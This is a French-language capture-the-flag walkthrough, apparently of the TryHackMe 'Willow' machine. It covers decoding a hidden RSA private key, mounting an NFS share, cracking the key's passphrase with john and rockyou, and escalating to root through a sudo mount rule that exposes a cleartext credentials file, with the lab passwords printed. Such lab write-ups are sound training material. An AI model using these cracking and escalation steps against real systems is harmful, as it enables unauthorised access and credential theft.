Nous constatons qu'en plus du port 22/tcp open ssh et du port 80/tcp open http, nous touvons le port 2049/tcp open nfs qui nous indique une possibilité de partage de fichiers via le réseau.
Faisons un copier coller des data vers cyberchef et utilisons la baguette magique proposée
cyberchef magic
cyberchef from hex
Sauvegardons le résultat dans un fichier first-page.txt
Nous pouvons constater que le code résultant pourrait bien correspondre à une clé privée SSH de par la présence de 2367 2367 2367 2367 2367 en début de code et qui pourrait bien correspondre aux cinq tirets du début d'une clé privée SSH
-----BEGIN RSA PRIVATE KEY-----
(idem pour les cinq tirets à la fin)
Profitons-en pour nettoyer le fichier first-page.txt de sa première ligne pour conserver uniquement les data que nous sauvegardons dans un fichier private-key.tx
2. Exploitation du port NFS
Nmap nous a montré que le port 2049/tcp open nfs était ouvert et qu'il existait une possiblité de partage de fichiers via le réseau.
Explorons les partages nfs disponibles
Faisons un mount de ce répertoire dans notre machine kali
et voyons ce qu'il contient
Nous avons maintenant à notre disposition deux paires de clés RSA
┌──(kali㉿kali)-[~/THM/willow]
└─$ ssh2john id_rsa > id_rsa_hash
┌──(kali㉿kali)-[~/THM/willow]
└─$ john id_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
wildflower (id_rsa)
1g 0:00:00:00 DONE (2024-11-30 10:51) 7.142g/s 72228p/s 72228c/s 72228C/s chulita..simran
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(kali㉿kali)-[~/THM/willow]
└─$ ssh -i id_rsa willow@$IP
The authenticity of host '10.10.131.6 (10.10.131.6)' can't be established.
ED25519 key fingerprint is SHA256:magOpLj2XlET5C4pPvsDHoHa4Po1iJpM2eNFkXQUZ2I.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:42: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.131.6' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
"O take me in your arms, love
For keen doth the wind blow
O take me in your arms, love
For bitter is my deep woe."
-The Willow Tree, English Folksong
willow@willow-tree:~$
willow@willow-tree:~$ ls -l
total 48
drwxr-xr-x 2 willow willow 4096 Jan 30 2020 Desktop
drwxr-xr-x 2 willow willow 4096 Jan 30 2020 Documents
drwxr-xr-x 2 willow willow 4096 Jan 30 2020 Downloads
drwxr-xr-x 2 willow willow 4096 Jan 30 2020 Music
drwxr-xr-x 2 willow willow 4096 Jan 30 2020 Pictures
drwxr-xr-x 2 willow willow 4096 Jan 30 2020 Public
drwxr-xr-x 2 willow willow 4096 Jan 30 2020 Templates
-rw-r--r-- 1 willow willow 12721 Jan 30 2020 user.jpg
drwxr-xr-x 2 willow willow 4096 Jan 30 2020 Videos
┌──(kali㉿kali)-[~/THM/willow]
└─$ scp -i id_rsa willow@$IP:/home/willow/user.jpg ./user.jpg
Enter passphrase for key 'id_rsa':
user.jpg 100% 12KB 172.1KB/s 00:00
willow@willow-tree:~$ sudo -l
Matching Defaults entries for willow on willow-tree:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User willow may run the following commands on willow-tree:
(ALL : ALL) NOPASSWD: /bin/mount /dev/*
willow@willow-tree:~$ mkdir hb
willow@willow-tree:~$ sudo mount /dev/hidden_backup /home/willow/hb
willow@willow-tree:~$ cd hb
willow@willow-tree:~/hb$ ls -l
total 1
-rw-r--r-- 1 root root 42 Jan 30 2020 creds.txt
willow@willow-tree:~/hb$ cat creds.txt
root:7QvbvBTvwPspUK
willow:U0ZZJLGYhNAT2s
willow@willow-tree:~/hb$ su root
Password:
root@willow-tree:/home/willow/hb# whoami
root
root@willow-tree:/home/willow/hb# ls -l /root/
total 4
-rw-r--r-- 1 root root 139 Jan 30 2020 root.txt
root@willow-tree:/home/willow/hb# ls -la /root/
total 36
drwx------ 5 root root 4096 Jan 30 2020 .
drwxr-xr-x 23 root root 4096 Jan 30 2020 ..
lrwxrwxrwx 1 root root 9 Jan 30 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwx------ 3 root root 4096 Jan 30 2020 .config
drwxr-xr-x 3 root root 4096 Jan 30 2020 .local
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
-rw-r--r-- 1 root root 139 Jan 30 2020 root.txt
-rw-r--r-- 1 root root 74 Jan 30 2020 .selected_editor
drwx------ 2 root root 4096 Mar 1 2020 .ssh
root@willow-tree:/home/willow/hb# cat /root/root.txt
This would be too easy, don't you think? I actually gave you the root flag some time ago.
You've got my password now -- go find your flag!
root:7QvbvBTvwPspUK
willow:U0ZZJLGYhNAT2s
┌──(kali㉿kali)-[~/THM/willow]
└─$ steghide info user.jpg
"user.jpg":
format: jpeg
capacity: 548.0 Byte
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "root.txt":
size: 34.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
┌──(kali㉿kali)-[~/THM/willow]
└─$ steghide extract -sf user.jpg
Enter passphrase:
wrote extracted data to "root.txt".